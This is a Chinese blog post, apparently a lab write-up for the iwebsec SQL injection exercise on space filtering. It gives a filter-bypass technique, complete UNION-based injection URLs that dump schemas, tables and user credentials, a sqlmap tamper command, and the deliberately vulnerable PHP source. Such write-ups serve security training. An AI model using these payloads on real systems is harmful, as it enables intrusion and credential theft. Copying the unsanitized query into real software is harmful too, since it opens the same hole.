首页 > 数据库 >iwebsec-sql注入 07 空格过滤

iwebsec-sql注入 07 空格过滤

时间:2023-08-18 19:22:42浏览次数:65  
标签:php 07 sentence -- 空格 sql iwebsec id

01、题目分析

空格过滤就是将用户输入的空格过滤掉,众所周知,sql注入语句中会有很多的sql注入语句,如果进行了空格过滤,那么sql注入语句会因为参数连接在一快导致不能正常注入

02、手工注入

既然是数字型注入,那么对sql注入语句中的空格用其他内容替换即可,可以使用/**/、()、%0a等等,我这里使用的是括号以及url编码%0a代表空格

依旧是先测试是字符型还是数字型

id=(0)and(1)=(2)
//页面正常但是无数据显示
id=(0)and(1)=(1)
//页面正常有回显,数字型

剩下的只需要将sql注入语句中的空格全部替换成编码即可

以下附送python脚本

def replace_spaces(sentence, replacement):
    # sentence: 输入的语句
    # replacement: 要替换空格的特定字符
    # 返回替换后的结果

    # 使用replace()函数将空格替换为指定字符
    replaced_sentence = sentence.replace(' ', replacement)

    return replaced_sentence


# 从用户输入获取语句和要替换的特定字符
input_sentence = input("请输入语句:")
replacement_character = '%0a'

# 调用函数进行空格替换
result = replace_spaces(input_sentence, replacement_character)

# 打印替换后的结果
print("替换后的结果:", result)
-- id=-1就是不显示内容
http://www.bdrwmy.cn:8001/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(3)
-- 暴库
http://www.bdrwmy.cn:8001/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(schema_name)%0Afrom%0Ainformation_schema.schemata)
-- 暴表
http://www.bdrwmy.cn:8001/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database())
-- 暴列
http://www.bdrwmy.cn:8001/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(column_name)%0Afrom%0Ainformation_schema.columns%0awhere%0atable_schema=database()and(table_name='users'))
-- 暴字段
http://www.bdrwmy.cn:8001/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(concat(role,0x7e,username,0x3A,password,0x7e))%0Afrom%0Ausers)

02、工具注入

python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/07.php?id=1"  --current-db --dump --batch --tamper "space2comment.py"

image

03、代码分析

<?php
  if(isset($_GET['id'])){
    // 检查是否存在GET参数"id"
    if (preg_match('/ /', $_GET["id"])) {
      // 如果"id"参数中包含空格,则终止执行并输出"ERROR"
      die("ERROR");
    } else {
      // 否则,获取"id"参数的值
      $id=$_GET['id'];
      // 构造SQL查询语句
      $sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
      // 执行SQL查询
      $result=mysql_query($sql);
    }
  } else {
    // 如果不存在GET参数"id",则终止执行
    exit();
  }
  
  // 如果查询结果存在
  if ($result) {
    ?>
    <table class='table table-striped'>
    <tr><th>id</th><th>name</th><th>age</th></tr>
    <?php
    // 循环遍历查询结果集中的每一行
    while ($row = mysql_fetch_assoc($result)) {
      echo "<tr>";
      echo "<td>".$row['id']."</td>";
      echo "<td>".$row['username']."</td>";
      echo "<td>".$row['password']."</td>";
      echo "</tr>";
    }
    echo "</table>";
  } else {
    // 如果查询结果不存在,则打印MySQL错误信息
    // 注意:下面两行代码被注释掉了,可能会导致错误信息不可见
    // echo '<font color= "#FFFFFF">';
    print_r(mysql_error());
    // echo "</font>";  
  }
  
  // 包含footer.php文件
  require_once '../footer.php';
?>

标签:php,07,sentence,--,空格,sql,iwebsec,id
From: https://www.cnblogs.com/bdrwmy/p/17641425.html

相关文章

  • iwebsec-sql注入 03 bool型注入
    01、题目分析:三大盲注型注入中的布尔型注入,说明只会回显正确结果,错误结果将不再回显,对于布尔型注入,手工注入会费时费力,因此布尔注入比较适合工具注入02、sqlmap工具注入:一把梭python.\sqlmap.py-u"http://www.bdrwmy.cn:8001/sqli/03.php?id=1"--current-db--dump--ba......
  • iwebsec-sql注入 04 时间延迟型注入
    01、题目分析:三大盲注中的时间型注入,当查询语句正常的时候,不会有什么返回值或者回显,唯一的特征就是可以通过sleep函数来判断sql语句是否正确,也就是说,当有办法能判断输入语句是否正确的时候,步骤就和bool盲注一样了,话不多说,直接先让我们伟大的sqlmap跑起来02、sqlmap工具注入:一......
  • burpsuite靶场----SQL注入15----oracle的时间盲注
    burpsuite靶场----SQL注入15----oracle的时间盲注靶场地址https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval正式开始这个和之前的oracle的布尔盲注差不多https://www.cnblogs.com/thebeastofwar/p/17640741.html稍微改一下脚本,因......
  • iwebsec-sql注入 02 字符型注入
    01、题目分析正常来讲的字符型的sql注入,sql语句如下select * from news where id='$id';像这种就可以在注入的传参后面加上一个单引号,然后联合sql语句最后加上注释符--+就行,但是这个网站不行,因为在这个靶场的字符型注入的中的源代码,加入了宽字节过滤,所以正常的字符型注......
  • SQL之母_sql自学网站例题
    http://sqlmother.yupi.icu/感觉还是直接写题对我有效果些虽然我有点容易知难而退。请编写一条SQL查询语句,从名为student的数据表中选择出所有学生的姓名(name)和分数(score),并且额外计算出分数的2倍(double_score)。点击查看代码selectname,score,score*2asdouble_scoref......
  • iwebsec-sql注入 01 数字型注入
    01、题目分析数字型注入的sql语句select * from news where id=$id;最最最常规的,直接注入02、手工注入:先判断有多少列http://www.bdrwmy.cn:8001/sqli/01.php?id=1orderby3--id=-1就是不显示内容http://www.bdrwmy.cn:8001/sqli/01.php?id=-1unionselect1,2,......
  • burpsuite靶场----SQL注入13----oracle的CAST报错注入
    burpsuite靶场----SQL注入13----oracle的CAST报错注入靶场地址https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based正式开始1.通过在TrackingId=JBhlRizkqfo87Hq8后面添加'和''(两个单引号)猜测是oracle数据库添加'报错,添加''......
  • burpsuite靶场----SQL注入14----oracle的时间盲注test
    burpsuite靶场----SQL注入14----oracle的时间盲注test靶场地址https://portswigger.net/web-security/sql-injection/blind/lab-time-delays正式开始1.进入标签2.抓包3.在TrackingId=BU622TbcJXbso7Wwh后面填上'||pg_sleep(10)--完成任务......
  • PostgreSQL与Java类型的对照
    PostgreSQL™                JavaSE8date                    LocalDatetime                   LocalTimetimestamp withouttimezone      LocalDateTimetimestampwithtimezon......
  • SQL语句
    查--从指定表中查出所有列select*from表名称--从指定的表中查指定的列select列名称from表名称--查询前五条数据SELECT*FROMev_userslimit5;--分页查询--公式limit(要显示第几页-1)*每页分多少个,每页分多少个--limit(page-1)*size,size......